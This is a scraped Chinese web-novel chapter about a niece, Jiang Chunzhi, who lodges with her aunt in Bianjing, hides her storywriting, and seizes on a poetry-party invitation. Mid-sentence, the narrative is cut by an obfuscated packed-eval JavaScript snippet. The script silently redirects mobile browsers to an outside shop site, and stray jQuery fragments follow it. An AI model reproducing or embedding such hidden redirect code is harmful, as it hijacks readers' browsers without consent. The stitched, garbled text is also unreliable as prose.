文趣网 > 都市小说 > 表妹只能是我的 > 3. 寄居
    说者无心,另三人可都同时僵在原地。

    郑氏心头倏地一颤,先前那一闪而过的疑窦,此刻又浮了上来。

    她不由细细打量起这位外甥女来。身段窈窕,模样更是一等一的出挑,虽说是过惯了苦日子的,通身却无半分瑟缩卑怯之气,举止从容,气度自华,比起她见过的那些汴京贵女,竟也不遑多让。

    绝对是那种让人看一眼就移不开的品貌。

    可转念一想,她与这外甥女虽隔了十三载,音书却从未断过,字字句句皆是真情相系,也深知这孩子最是规矩守礼,性子纯良本分。

    毕竟,一个古板的爹,一个规矩的娘,教出来的孩子定当也是四四方方的。

    再者说,若真有个什么首尾,藏着掖着还来不及呢,又怎会像简哥儿那般,上赶着来她跟前邀功请赏似的?

    那样的两个人,怎么可能有事呢。

    这般一想,倒是她自个儿被三房那桩丑事闹得疑神疑鬼,草木皆兵了。郑氏不由暗骂自己一声糊涂。

    眼见江淳之怯怯欲言,郑氏已先站起身来,替她打了圆场,“你表姐舟车劳顿,也累着了,别搅了她安歇,有什么话改日再说。”

    说着便不由分说将崔朝云拉走了。临走又嘱咐姐妹俩好生安置,旋即唤来守心,将那来龙去脉细细盘问了一番。

    守心如实道,“说来也是可怜见的,表娘子因大半日没吃饭在府门前饿昏了过去,正巧被小侯爷撞见,又从门子那里听说是咱们的亲戚,这才出手搭救了一番。”

    郑氏听得瞠目结舌,“饿……饿昏了?”

    守心面有戚戚,“可不是么。因过了饭点儿,我只来得及让小厨房赶做了四菜一汤,谁知两位表娘子竟吃得干干净净,连半口汤水都不曾剩下,饭后点心也用了大半。”

    听到此处,郑氏心中早已是五味翻涌,又是酸楚又是自责。

    她方才竟还以小人之心度君子之腹,这般想着,愈发懊悔不迭,连连痛骂自己,“我这个姨母还真是不称职得很,竟连自己亲外甥女都疑上了。”

    守心在旁好言劝慰。正絮絮说着,忽听得门外江淳之的声音轻轻响起,“姨母,可歇下了?”

    两人忙止了话头,郑氏立刻让守心将她请进来,又搬了张绣墩,让着她坐了。

    郑氏正坐在妆台前,由守心服侍着卸钗环,江淳之望着铜镜里的姨母,犹豫再三,道出了自己的真心话,“姨母,其实三房的事儿我也听了几耳朵,我想……我还是搬出去住的好。”

    郑氏一听,当即转过身来,面色一肃,断然道,“你不必打这个主意。老祖宗已经发了话,说不牵连旁人,其余表娘子照住不误。你什么为人,我还不清楚?她们三房能干出那种龌龊事,跟咱们又有什么关系,身正不怕影子斜!”

    江淳之沉吟了会儿,“其实也不单是为着这事儿。毕竟我已经十八了,有手有脚,还有些头脑,汴京又有这许多赚钱的营生,总归有我立足之地,不说大富大贵,养活我跟澜之应是够的。”

    郑氏慌忙摆手打断:“什么赚钱?那不就是去当商户么?你爹十年寒窗,好不容易中了科举,入了仕途,挣下这士大夫的门楣。你倒好,要自甘堕落?”

    江淳之摇头:“虽说世人惯将士农工商分个高低贵贱,可归根结底,不都是自食其力么?我并不觉得商户有什么不好。”

    郑氏不以为然,“你觉得那是你觉得,我还觉得自己能得道成仙呢,可那有什么用?这世道,从来都是旁人觉着你是什么,你便是什么。”

    她语声一顿,又续道,“再说了,你是去给人家当绣娘,还是当垆卖酒,给人家当厨娘?女子谋生之道无非那几种,尽是些抛头露面、上不得台面的营生!这传出去像什么话?再说了,要让你姨母我怎么做人?”

    江淳之这回难得地沉默下来。只因她的谋生之道,并不在姨母所列的那些行当之内。

    她的本事,是写话本。

    这活计原不必抛头露面,可若教姨母知晓了,那后果怕是比抛头露面还要严重十倍。

    郑氏见她被说得垂首不语,只当她已听了进去,便拍着胸脯道,“就这么说定了。你且安心在姨母这儿住着,待孝期一满,姨母便送你风风光光出嫁!嫁妆你也不必忧心,我这些年还攒了些体己,届时定教你体体面面,不输旁人分毫。”

    江淳之听了,心中自然感念万分,可愈是感念,愈觉于心难安。

    她本就是极不愿给人添麻烦的性子,平白又给姨母添上一笔重负,只怕今夜都要辗转难眠了。

    可此刻推脱亦是徒劳,只得先婉转应下。横竖还有三年孝期,来日方长。

    说不定这三年里,她忽然就发了大财,坐拥金山银山了呢。到那时,便不必再叫姨母帮衬了。

    郑氏仍自替她描画前程:“你这些年待在岭南,当真是亏了。这汴京城四时八节皆有雅会,好儿郎更是多如繁星。以咱们这等相貌人品,只消一露面,求亲的人还不踏破了门槛……”

    江淳之听姨母絮絮说着,只浅笑不语。直至郑氏忽地冒出一句:“往后永昌侯夫人攒的局,让你头一个去!”

    江淳之倏地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861066|211997||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    抬起眼来,眸中竟闪过一丝星芒:“当真?”

    郑氏没料到她有这般反应,只当她这般上道,心中愈发欢喜,忙命守心取来永昌侯夫人前些时日递来的拜帖,展开给江淳之看,一面解说道:

    “前几日刚下的帖子。说是府里的菊花开好了,要请公侯之家中有些才气的郎君娘子们过去,做些应景的诗,还要评出个魁首来呢。你的学问比朝云强上十倍百倍,也去争个女魁首回来,那可真真是一炮而红了。”

    江淳之的目光在帖上逐行扫过,捏着拜帖的指尖都不觉微微发颤。片刻后,她抬起头来,目光灼灼,语气坚定:“姨母,我想去!”

    江淳之迈着轻快的步子从姨母房中出来,回到西厢房时,澜之困倦至极,已经安睡。

    她心绪正高,半丝睡意也无。轻轻打开二人带来的那个布包袱,里面大多是层层叠叠、叠放齐整的衣裳。她翻到最底层,取出一本题着《江公案》三字的册子来。

    这“江公”么,自然便是她亲爹江文世了。里头辑录的,皆是父亲为官以来经手过的桩桩公案,而那一笔一划,却尽数出自她之手。

    说起她缘何动笔写话本,其间尚有一段原委。

    父亲江文世赴任梅州时,为兴教化费尽心思。当地私塾稀少,识字者寥寥,每逢推行政令,总难通畅。

    衙门外有面八字墙,专贴判牍、谕令等文书,以示宣教。可大半时候,那些纸片无人理睬,终成一张张废纸。

    江淳之每日出入衙门,皆要路过那面八字墙。某日忽发奇想,何不将衙门办过的公案编成绘声绘色的故事传扬出去?

    百姓不认字,那便请茶馆里的说书人评说演绎,以案释法,既为威慑,也为教化。后来,一个个公案故事汇拢起来,便成了《江公案》的底本。

    遇见那个人后,他帮忙牵上汴京书肆印局的门路,一经推出,虽不敢说洛阳纸贵,倒也替她攒下一桶金,便是她带入汴京的那二百贯钱。

    彼时,她还抱着另一重心思,只盼《江公案》能流传至汴京,传进宫里去,教官家忆起那个被贬往岭南的御史江文世。若官家动了复用的念头,他们一家人便能重返京城了。

    可惜,这愿望未经实现便已夭折。

    不过如今阴差阳错,到底还是回了汴京。

    虽说入京头一日便时运不济,二百贯尽数折了去,可她的生花妙笔还在,那个替她牵线搭桥的人也还在。

    况且,三日后,她就要去见他了。

    便当是塞翁失马,焉知非福罢。

    她要大干一场了!